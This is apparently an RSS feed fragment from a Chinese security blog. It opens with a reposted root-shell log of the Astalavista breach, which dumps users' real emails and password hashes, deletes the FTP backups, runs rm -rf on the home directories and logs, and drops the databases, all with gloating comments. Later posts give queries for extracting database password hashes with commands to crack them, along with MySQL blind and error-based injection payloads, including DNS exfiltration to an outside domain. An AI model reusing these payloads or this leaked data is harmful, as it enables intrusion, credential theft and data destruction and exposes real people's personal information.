drwx——  4 apache apache 4096 Jun  3 02:43 .<br />
drwxr-xr-x 15 root   root   4096 Mar 20  2008 ..<br />
drwx——  2 apache apache 4096 Mar 20  2008 cert<br />
-rw-r–r–  1 apache apache 6668 May 29 15:13 httpd_config.xml<br />
-rw——-  1 apache apache 6613 May 27 18:33 httpd_config.xml.bak<br />
-rw-r–r–  1 root   apache    0 Jun  3 14:11 .last<br />
-rw——-  1 apache apache  256 May 29 15:10 license.key<br />
-rw——-  1 apache apache  256 Mar 21  2008 license.key.old<br />
-rw——-  1 apache apache 3320 Mar 20  2008 mime.properties<br />
-rw——-  1 apache apache   20 May 29 15:10 serial.no<br />
drwx——  2 apache apache 4096 Mar 20  2008 templates</p>
<p>sh-3.2# cat serial.no<br />
IbDl-oVsO-CKqL-wVRa</p>
<p>sh-3.2# mysql<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 286844<br />
Server version: 5.0.45-community-log MySQL Community Edition (GPL)</p>
<p>Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.</p>
<p>mysql> show databases;<br />
+———————–+<br />
| Database              |<br />
+———————–+<br />
| information_schema    |<br />
| astanet_ads           |<br />
| astanet_mailing_lists |<br />
| astanet_mediawiki     |<br />
| astanet_membersystem  |<br />
| com_contrexx          |<br />
| com_contrexx2         |<br />
| com_contrexx2_live    |<br />
| da_roundcube          |<br />
| dolphin               |<br />
| ideapool              |<br />
| mysql                 |<br />
| test                  |<br />
| yourmaster            |<br />
+———————–+<br />
14 rows in set (0.00 sec)</p>
<p>mysql> use ideapool<br />
Database changed<br />
mysql> show tables;<br />
+———————————–+<br />
| Tables_in_ideapool                |<br />
+———————————–+<br />
| eventum_columns_to_display        |<br />
| eventum_custom_field              |<br />
| eventum_custom_field_option       |<br />
| eventum_custom_filter             |<br />
| eventum_customer_account_manager  |<br />
| eventum_customer_note             |<br />
| eventum_email_account             |<br />
| eventum_email_draft               |<br />
| eventum_email_draft_recipient     |<br />
| eventum_email_response            |<br />
| eventum_faq                       |<br />
| eventum_faq_support_level         |<br />
| eventum_group                     |<br />
| eventum_history_type              |<br />
| eventum_irc_notice                |<br />
| eventum_issue                     |<br />
| eventum_issue_association         |<br />
| eventum_issue_attachment          |<br />
| eventum_issue_attachment_file     |<br />
| eventum_issue_checkin             |<br />
| eventum_issue_custom_field        |<br />
| eventum_issue_history             |<br />
| eventum_issue_quarantine          |<br />
| eventum_issue_requirement         |<br />
| eventum_issue_user                |<br />
| eventum_issue_user_replier        |<br />
| eventum_link_filter               |<br />
| eventum_mail_queue                |<br />
| eventum_mail_queue_log            |<br />
| eventum_news                      |<br />
| eventum_note                      |<br />
| eventum_phone_support             |<br />
| eventum_project                   |<br />
| eventum_project_category          |<br />
| eventum_project_custom_field      |<br />
| eventum_project_email_response    |<br />
| eventum_project_field_display     |<br />
| eventum_project_group             |<br />
| eventum_project_link_filter       |<br />
| eventum_project_news              |<br />
| eventum_project_phone_category    |<br />
| eventum_project_priority          |<br />
| eventum_project_release           |<br />
| eventum_project_round_robin       |<br />
| eventum_project_status            |<br />
| eventum_project_status_date       |<br />
| eventum_project_user              |<br />
| eventum_reminder_action           |<br />
| eventum_reminder_action_list      |<br />
| eventum_reminder_action_type      |<br />
| eventum_reminder_field            |<br />
| eventum_reminder_history          |<br />
| eventum_reminder_level            |<br />
| eventum_reminder_level_condition  |<br />
| eventum_reminder_operator         |<br />
| eventum_reminder_priority         |<br />
| eventum_reminder_requirement      |<br />
| eventum_reminder_triggered_action |<br />
| eventum_resolution                |<br />
| eventum_round_robin_user          |<br />
| eventum_search_profile            |<br />
| eventum_status                    |<br />
| eventum_subscription              |<br />
| eventum_subscription_type         |<br />
| eventum_support_email             |<br />
| eventum_support_email_body        |<br />
| eventum_time_tracking             |<br />
| eventum_time_tracking_category    |<br />
| eventum_user                      |<br />
+———————————–+<br />
69 rows in set (0.00 sec)</p>
<p>mysql> describe eventum_user;<br />
+————————-+——————+——+—–+———————+—————-+<br />
| Field                   | Type             | Null | Key | Default             | Extra          |<br />
+————————-+——————+——+—–+———————+—————-+<br />
| usr_id                  | int(11) unsigned | NO   | PRI | NULL                | auto_increment |<br />
| usr_grp_id              | int(11) unsigned | YES  | MUL | NULL                |                |<br />
| usr_customer_id         | int(11) unsigned | YES  |     | NULL                |                |<br />
| usr_customer_contact_id | int(11) unsigned | YES  |     | NULL                |                |<br />
| usr_created_date        | datetime         | NO   |     | 0000-00-00 00:00:00 |                |<br />
| usr_status              | varchar(8)       | NO   |     | active              |                |<br />
| usr_password            | varchar(32)      | NO   |     |                     |                |<br />
| usr_full_name           | varchar(255)     | NO   |     |                     |                |<br />
| usr_email               | varchar(255)     | NO   | UNI |                     |                |<br />
| usr_preferences         | longtext         | YES  |     | NULL                |                |<br />
| usr_sms_email           | varchar(255)     | YES  |     | NULL                |                |<br />
| usr_clocked_in          | tinyint(1)       | YES  |     | 0                   |                |<br />
| usr_lang                | varchar(5)       | YES  |     | NULL                |                |<br />
+————————-+——————+——+—–+———————+—————-+<br />
13 rows in set (0.00 sec)</p>
<p>mysql> select usr_full_name,usr_email,usr_password from eventum_user;<br />
+———————-+——————————-+———————————-+<br />
| usr_full_name        | usr_email                     | usr_password                     |<br />
+———————-+——————————-+———————————-+<br />
| system               | system-account@example.com    | 14589714398751513457adf349173434 |<br />
| Developer (Paulo)    | paulo.santos@astalavista.ch   | 26a35a1cf8895c27fb37ef4cf149f7bb |<br />
| Be1er0ph0r           | be1er0ph0r@gmx.de             | 229766dc0ca1fb67160a8782321dfdce |<br />
| Admin                | pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |<br />
| ADMIN                | admin@astalavista.ch          | f6fdffe48c908deb0f4c3bd36c032e72 |<br />
| USER                 | user@astalavista.ch           | 5cc32e366c87c4cb49e4309b75f57d64 |<br />
| Glafkos &#8211; (nowayout) | glafkos@astalavista.com       | f7735ab119023a8abb2301e67f81cd67 |<br />
| Joao                 | joao.pontes@astalavista.net   | f805c071d7c823b937448c54c047b9fd |<br />
| Pascal               | pm@astalavista.ch             | e10adc3949ba59abbe56e057f20f883e |<br />
| commander            | commander@astalavista.com     | 932cd250918f881d41feb0b93883a926 |<br />
| ishtus               | ishtus@astalavista.com        | a587ffc88b3dbbba3fd2fe67af649ff0 |<br />
| sykadul              | sykadul@astalavista.com       | 20224a2f3eeb57a13a10b4df543c128e |<br />
| Zach McElroy         | admin@badfoo.net              | 33c5d4954da881814420f3ba39772644 |<br />
| usb                  | usbenigma@hushmail.com        | b513f22c3db6932855ad732f5f8a10a2 |<br />
| cyph3r               | cyph3r@astalavista.com        | 6e1e50017a945e874d52ec91f9ab2cee |<br />
+———————-+——————————-+———————————-+<br />
15 rows in set (0.00 sec)</p>
<p>mysql> select iss_description from eventum_issue where iss_id = 43;<br />
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+<br />
| iss_description<br />
|<br />
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+<br />
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be<br />
connected for 90 mins… 120mins… so what i propose is something like:</p>
<p>http://www.surfthechannel.com/</p>
<p>since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system<br />
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t<br />
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off<br />
if they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…</p>
<p>We could also put advertisement during play on the flash video player itself… extra $$…</p>
<p>By sykadul |<br />
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+<br />
1 row in set (0.00 sec)</p>
<p>// Money and extra $$ is all they care about. remember that.</p>
<p>mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;<br />
+————————+——————————————————————————————————————————————————————————————————————————————-+<br />
| iss_summary            | iss_description<br />
|<br />
+————————+——————————————————————————————————————————————————————————————————————————————-+<br />
| Forum for REAL EXPERTS | Hello,</p>
<p>Ishtus and I,</p>
<p>Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide<br />
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..</p>
<p>One example a friend of mine from coresecurity.com!</p>
<p>We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..</p>
<p>|<br />
+————————+——————————————————————————————————————————————————————————————————————————————+<br />
1 row in set (0.00 sec)</p>
<p>// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…</p>
<p>mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;<br />
+——————+———————————————————————————————+<br />
| iss_summary      | iss_description                                                                             |<br />
+——————+———————————————————————————————+<br />
| Website guidance | Virtual Girl which guides you trought the website.</p>
<p>We need a girl with who you can ( talk )!!!<br />
Also for the News!<br />
So my suggestion is a girl who read you the news loud if you like!<br />
you can choose between read yourselfe or she read it for you or both!</p>
<p>Go to www.heise.de! There is an example for Voice News! It’s a good thing!!!</p>
<p>Have a look on the example girls!!</p>
<p>http://www.yaoti.com/de/free_yaoti.html</p>
<p>or that</p>
<p>http://www.yellostrom.de/</p>
<p>|<br />
+——————+———————————————————————————————+<br />
1 row in set (0.00 sec)</p>
<p>// ha ha.</p>
<p>mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;<br />
+————————–+———————————————————————————————————–+<br />
| iss_summary              | iss_description                                                                                           |<br />
+————————–+———————————————————————————————————–+<br />
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name.  |<br />
+————————–+———————————————————————————————————–+<br />
1 row in set (0.00 sec)</p>
<p>// LOL.</p>
<p>mysql> exit<br />
Bye</p>
<p>sh-3.2# ftp 212.254.194.163<br />
Connected to 212.254.194.163.<br />
220 BackupCOM_VW FTP server ready.<br />
504 AUTH: security mechanism ‘GSSAPI’ not supported.<br />
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.<br />
KERBEROS_V4 rejected as an authentication type<br />
Name (212.254.194.163:root): astalavista.com<br />
331 Password required for astalavista.com.<br />
Password:<br />
230 User astalavista.com logged in.<br />
Remote system type is UNIX.<br />
Using binary mode to transfer files.<br />
ftp> ls -la<br />
227 Entering Passive Mode (212,254,194,163,2,188)<br />
150 Opening BINARY mode data connection for ‘file list’.<br />
dr-x——   1 root users         4096 Jun  4 06:13 astalavista.com<br />
226 Transfer complete.<br />
ftp> cd astalavista.com<br />
250 CWD command successful.<br />
ftp> ls -la<br />
227 Entering Passive Mode (212,254,194,163,2,189)<br />
150 Opening BINARY mode data connection for ‘file list’.<br />
-rw-rw-rw-   1 astalavista.com users     23410936878 Apr 29 22:10 09-04-28-astacom_full.tar<br />
-rw-rw-rw-   1 astalavista.com users     20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2<br />
-rw-rw-rw-   1 astalavista.com users        88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2<br />
-rw-rw-rw-   1 astalavista.com users     26413034040 May  2 00:21 09-05-01-astacom-Public_HTML.tar<br />
-rw-rw-rw-   1 astalavista.com users       277843549 May  1 17:29 09-05-01-astacom-SQL_Dump.tar<br />
[snip]<br />
226 Transfer complete.<br />
ftp> mdelete *<br />
ftp> ls -la<br />
227 Entering Passive Mode (212,254,194,163,2,193)<br />
150 Opening BINARY mode data connection for ‘file list’.<br />
226 Transfer complete.<br />
ftp></p>
<p>sh-3.2# cd /home<br />
sh-3.2# ls -la<br />
total 120<br />
drwxr-xr-x 14 root    root     4096 Mar 11 17:56 .<br />
drwxr-xr-x 25 root    root     4096 Jun  3 02:43 ..<br />
drwx–x–x  9 admin   admin    4096 Nov 28  2007 admin<br />
-rw——-  1 root    root     8192 Jun  4 03:03 aquota.group<br />
-rw——-  1 root    root     8192 Jun  3 02:45 aquota.user<br />
drwx–x–x  6 astanet astanet  4096 Jun  4 09:51 astanet<br />
drwxr-xr-x  2 root    root     4096 Jul 29  2008 backup<br />
drwxr-xr-x  2 root    root     4096 Sep 17  2008 backup.14161<br />
drwx–x–x 10 com     com      4096 Apr 28 12:40 com<br />
drwxr-xr-x  2 root    root     4096 May 17  2007 ftp<br />
drwx——  3 jon     jon      4096 Sep 21  2007 jon<br />
drwx——  2 root    root    16384 Sep 11  2007 lost+found<br />
drwxr-xr-x  2 root    root     4096 Sep 14  2007 my<br />
drwxr-xr-x  5 mysql   mysql    4096 Sep 24  2007 mysqldata<br />
drwx——  2 jon     jon      4096 Sep 15  2007 test<br />
drwxrwxrwt  2 root    root     4096 Jul 29  2008 tmp</p>
<p>sh-3.2# rm -rf backup/<br />
sh-3.2# rm -rf backup.14161/<br />
sh-3.2# rm -rf ftp/<br />
sh-3.2# rm -rf jon/<br />
sh-3.2# rm -rf my/<br />
sh-3.2# rm -rf mysqldata/<br />
sh-3.2# rm -rf test/<br />
sh-3.2# rm -rf tmp/<br />
sh-3.2# cd ~<br />
sh-3.2# rm -rf *<br />
sh-3.2# rm -rf /var/log/<br />
rm: cannot remove directory `/var/log//proftpd’: Directory not empty<br />
sh-3.2# rm -rf /home/*<br />
sh-3.2# mysql<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 407156<br />
Server version: 5.0.45-community-log MySQL Community Edition (GPL)</p>
<p>Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.</p>
<p>mysql> show databases;<br />
+———————–+<br />
| Database              |<br />
+———————–+<br />
| information_schema    |<br />
| astanet_ads           |<br />
| astanet_mailing_lists |<br />
| astanet_mediawiki     |<br />
| astanet_membersystem  |<br />
| com_contrexx          |<br />
| com_contrexx2         |<br />
| com_contrexx2_live    |<br />
| da_roundcube          |<br />
| dolphin               |<br />
| ideapool              |<br />
| mysql                 |<br />
| test                  |<br />
| yourmaster            |<br />
+———————–+<br />
14 rows in set (0.03 sec)</p>
<p>mysql> drop database astanet_membersystem;<br />
droQuery OK, 46 rows affected (0.81 sec)</p>
<p>mysql> drop database com_contrexx;<br />
Query OK, 211 rows affected (2.72 sec)</p>
<p>mysql> drop database com_contrexx2;<br />
Query OK, 237 rows affected (2.23 sec)</p>
<p>mysql> drop database com_contrexx2_live;<br />
Query OK, 227 rows affected (7.63 sec)</p>
<p>mysql> drop database ideapool;<br />
Query OK, 69 rows affected (0.19 sec)</p>
<p>mysql> drop database yourmaster;<br />
Query OK, 158 rows affected (0.55 sec)</p>
<p>mysql> drop database astanet_ads;<br />
Query OK, 9 rows affected (0.11 sec)</p>
<p>mysql> drop database astanet_mailing_lists;<br />
Query OK, 24 rows affected (1.47 sec)</p>
<p>mysql> drop database astanet_mediawiki;<br />
Query OK, 31 rows affected (0.51 sec)</p>
<p>mysql> show databases;<br />
+——————–+<br />
| Database           |<br />
+——————–+<br />
| information_schema |<br />
| da_roundcube       |<br />
| dolphin            |<br />
| mysql              |<br />
| test               |<br />
+——————–+<br />
5 rows in set (0.00 sec)</p>
<p>What a journey! We’re not sure exactly why the “Terminator” had any influence on<br />
their naming (conventions) but we’re sure Arnold himself wouldn’t be in the<br />
wrong to say this pack of morons *wont be back*.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/astalavista%e8%a2%ab%e8%b9%82%e8%ba%8f%e8%bf%87%e7%a8%8b/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>各种数据库密码hash获取语句</title>
		<link>http://www.0xf3sec.org/%e5%90%84%e7%a7%8d%e6%95%b0%e6%8d%ae%e5%ba%93%e5%af%86%e7%a0%81hash%e8%8e%b7%e5%8f%96%e8%af%ad%e5%8f%a5/</link>
		<comments>http://www.0xf3sec.org/%e5%90%84%e7%a7%8d%e6%95%b0%e6%8d%ae%e5%ba%93%e5%af%86%e7%a0%81hash%e8%8e%b7%e5%8f%96%e8%af%ad%e5%8f%a5/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 07:34:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[默认分类]]></category>
		<category><![CDATA[各种数据库密码hash获取语句]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=175</guid>
		<description><![CDATA[各种数据库密码hash获取语句，也可以直接使用sqlmap这个注入工具！ SQL Server 2000:- SELECT password from master.dbo.sysxlogins where name=&#8217;sa&#8217; 0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341 2FD54D6119FFF04129A1D72E7C3194F7284A7F3A 0×0100- constant header 34767D5C- salt 0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash 2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash crack the upper case hash in &#8216;cain and abel&#8217; and then work the case sentive hash SQL server 2005:- SELECT password_hash FROM sys.sql_logins where name=&#8217;sa&#8217; 0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F 0×0100- constant header 993BF231-salt [...]]]></description>
			<content:encoded><![CDATA[<p>各种数据库密码hash获取语句，也可以直接使用sqlmap这个注入工具！</p>
<p>SQL Server 2000:-<br />
SELECT password from master.dbo.sysxlogins where name=&#8217;sa&#8217;<br />
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341<br />
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A<br />
0×0100- constant header<br />
34767D5C- salt<br />
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash<br />
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash<br />
crack the upper case hash in &#8216;cain and abel&#8217; and then work the case sentive hash</p>
<p>SQL server 2005:-<br />
SELECT password_hash FROM sys.sql_logins where name=&#8217;sa&#8217;<br />
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F<br />
0×0100- constant header<br />
993BF231-salt<br />
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash<br />
crack case sensitive hash in cain, try brute force and dictionary based attacks.</p>
<p>update:- following bernardo&#8217;s comments:-<br />
use function fn_varbintohexstr() to cast password in a hex string.<br />
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins </p>
<p>MYSQL:-<br />
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL&#8217;s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.</p>
<p>*mysql < 4.1<br />
mysql> SELECT PASSWORD(&#8216;mypass&#8217;);<br />
+——————–+<br />
| PASSWORD(&#8216;mypass&#8217;) |<br />
+——————–+<br />
| 6f8c114b58f2ce9e |<br />
+——————–+</p>
<p>*mysql >=4.1<br />
mysql> SELECT PASSWORD(&#8216;mypass&#8217;);<br />
+——————————————-+<br />
| PASSWORD(&#8216;mypass&#8217;) |<br />
+——————————————-+<br />
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |<br />
+——————————————-+<br />
Select user, password from mysql.user<br />
The hashes can be cracked in &#8216;cain and abel&#8217; </p>
<p>Postgres:-<br />
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called &#8220;postgres&#8221; or &#8220;pgsql&#8221;)<br />
select usename, passwd from pg_shadow;<br />
usename | passwd<br />
——————+————————————-<br />
testuser | md5fabb6d7172aadfda4753bf0507ed4396<br />
use mdcrack to crack these hashes:-<br />
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396</p>
<p>Oracle:-<br />
select name, password, spare4 from sys.user$<br />
hashes could be cracked using &#8216;cain and abel&#8217; or thc-orakelcrackert11g<br />
More on Oracle later, i am a bit bored….</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/%e5%90%84%e7%a7%8d%e6%95%b0%e6%8d%ae%e5%ba%93%e5%af%86%e7%a0%81hash%e8%8e%b7%e5%8f%96%e8%af%ad%e5%8f%a5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mysql 另类盲注中的一些技巧</title>
		<link>http://www.0xf3sec.org/mysql-%e5%8f%a6%e7%b1%bb%e7%9b%b2%e6%b3%a8%e4%b8%ad%e7%9a%84%e4%b8%80%e4%ba%9b%e6%8a%80%e5%b7%a7/</link>
		<comments>http://www.0xf3sec.org/mysql-%e5%8f%a6%e7%b1%bb%e7%9b%b2%e6%b3%a8%e4%b8%ad%e7%9a%84%e4%b8%80%e4%ba%9b%e6%8a%80%e5%b7%a7/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 06:45:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[小技巧]]></category>
		<category><![CDATA[Mysql 另类盲注中的一些技巧]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=171</guid>
		<description><![CDATA[转:oldjun.com &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- 很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~ 一、order by 的参数注入技巧： 两种方法，思路都一样。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常见的利用方法： 1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings)); 返回错误：[Err] 1242 &#8211; Subquery returns more than 1 row 2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings)); 返回正常。 b.国外paper看到的方法： 1.[SQL] select username,password from uc_members [...]]]></description>
			<content:encoded><![CDATA[<p>转:oldjun.com<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~</p>
<p>一、order by 的参数注入技巧：<br />
两种方法，思路都一样。</p>
<p>example. “select username,password from uc_members order by”.$_GET['oderby']</p>
<p>a.常见的利用方法：<br />
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));<br />
返回错误：[Err] 1242 &#8211; Subquery returns more than 1 row<br />
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));<br />
返回正常。</p>
<p>b.国外paper看到的方法：<br />
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;<br />
返回错误：[Err] 1242 - Subquery returns more than 1 row<br />
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;<br />
返回正常。</p>
<p>二、limit 的参数注入技巧：</p>
<p>a.order by之后的limit参数 的注入，因为正常的sql语句order by后无法接union，所以没有好办法，就一个鸡肋思路：into outfile &#8216;/www/root/xxx.php&#8217;;</p>
<p>b.limit前无order by时的注入，那就方便多了，后面可以直接接union select ，随便怎么注都行了：<br />
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7<br />
这里还有个技巧，使用procedure analyse可以获取字段名称：<br />
select * from cdb_members where uid=1 limit 1,1 procedure analyse()<br />
不过procedure analyse同样不能使用在order by之后：<br />
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()<br />
[Err] 1386 &#8211; Can&#8217;t use ORDER clause with this procedure</p>
<p>三、无法猜测字段时的技巧：</p>
<p>在mysql5以下版本或者information_schema 无法访问的时候，无法猜到某个表的字段名，于是可以采用这个办法，在子查询中使用%0，报错获得列名。以ucenter的uc_members为例。</p>
<p>1.猜测列数：SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)<br />
返回错误：#1241 &#8211; Operand should contain 12 column(s)<br />
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)<br />
返回正常。<br />
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)<br />
返回错误：#1048 &#8211; Column &#8216;uid&#8217; cannot be null<br />
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)<br />
返回错误：#1048 &#8211; Column &#8216;username&#8217; cannot be null<br />
5. ……</p>
<p>注：5.1以上版本不适用，字段必须为非空（not null）</p>
<p>四、windows下利用dns解析盲注的技巧：</p>
<p>如果盲注很累，或者页面无论and 1=1还是and 1=2的时候返回都一模一样，这个时候利用dns进行注入是个不错的方法，前提是win环境root权限下的mysql，利用load_file函数读取远程文件的思路。本地搭建一个dns服务器，然后将特定域名的NS server转过来。然后进行注入，并抓包。</p>
<p>本地测试了下（实际注入中单引号可以编码）：select load_file(concat(&#8216;\\\\aaa1.&#8217;,(select user()),&#8217;.oldjun.com\\a.txt&#8217;))，抓包成功获得select的结果：<br />
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com</p>
<p>如图所示：<br />
<a href="http://www.0xf3sec.org/wp-content/uploads/2011/03/mysqldns.jpeg"><img src="http://www.0xf3sec.org/wp-content/uploads/2011/03/mysqldns.jpeg" alt="" title="mysqldns" width="701" height="152" class="alignnone size-full wp-image-172" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/mysql-%e5%8f%a6%e7%b1%bb%e7%9b%b2%e6%b3%a8%e4%b8%ad%e7%9a%84%e4%b8%80%e4%ba%9b%e6%8a%80%e5%b7%a7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql错误信息的利用</title>
		<link>http://www.0xf3sec.org/mysql%e9%94%99%e8%af%af%e4%bf%a1%e6%81%af%e7%9a%84%e5%88%a9%e7%94%a8/</link>
		<comments>http://www.0xf3sec.org/mysql%e9%94%99%e8%af%af%e4%bf%a1%e6%81%af%e7%9a%84%e5%88%a9%e7%94%a8/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 06:14:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[小技巧]]></category>
		<category><![CDATA[mysql错误信息的利用]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=169</guid>
		<description><![CDATA[在很多的情况 下我们不能直接方便的进行注入，于是有了BENCHMARK延迟注射； 如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误，php中是调用mysql_error()，其他脚本可能有自己的函数)，现在又有了更方便的方法。 网上流传了两三种方法: ========================================================================= 第一种略，略过了，低版本mysql适用 http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html ========================================================================= 第二种： SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT &#8216;x&#8217;))a from information_schema.tables group by a)b; ERROR 1062 (23000): Duplicate entry &#8217;1x&#8217; for key &#8216;group_key&#8217; 这种方法对MySQL版本没什么要求，但只能爆出64字节的数据，用这种方法遇到大数据只能MID慢慢来了。 (select 1 from (select count(*),concat((+++),floor(rand(0)*2))x from information_schema.tables group by x)k) ========================================================================= 第三种： 通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL 5.1++,低于5.1的无此函数) SELECT 1 AND ExtractValue(1, CONCAT(0x5c,(SELECT @@VERSION))) ERROR 1105 (HY000): XPATH syntax [...]]]></description>
			<content:encoded><![CDATA[<p>在很多的情况 下我们不能直接方便的进行注入，于是有了BENCHMARK延迟注射；<br />
如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误，php中是调用mysql_error()，其他脚本可能有自己的函数)，现在又有了更方便的方法。<br />
网上流传了两三种方法:<br />
=========================================================================</p>
<p>第一种略，略过了，低版本mysql适用</p>
<p>http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html</p>
<p>=========================================================================</p>
<p>第二种：</p>
<p>SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT &#8216;x&#8217;))a from information_schema.tables group by a)b;</p>
<p>ERROR 1062 (23000): Duplicate entry &#8217;1x&#8217; for key &#8216;group_key&#8217;</p>
<p>这种方法对MySQL版本没什么要求，但只能爆出64字节的数据，用这种方法遇到大数据只能MID慢慢来了。</p>
<p>(select 1 from (select count(*),concat((+++),floor(rand(0)*2))x from information_schema.tables group by x)k)</p>
<p>=========================================================================</p>
<p>第三种：</p>
<p>通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL 5.1++,低于5.1的无此函数)</p>
<p>SELECT 1 AND ExtractValue(1, CONCAT(0x5c,(SELECT @@VERSION)))</p>
<p>ERROR 1105 (HY000): XPATH syntax error: &#8216;\5.1.40-community&#8217;</p>
<p>SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1);</p>
<p>ERROR 1105 (HY000): XPATH syntax error: &#8216;[admin:7a57a5a743894a0e]&#8216;</p>
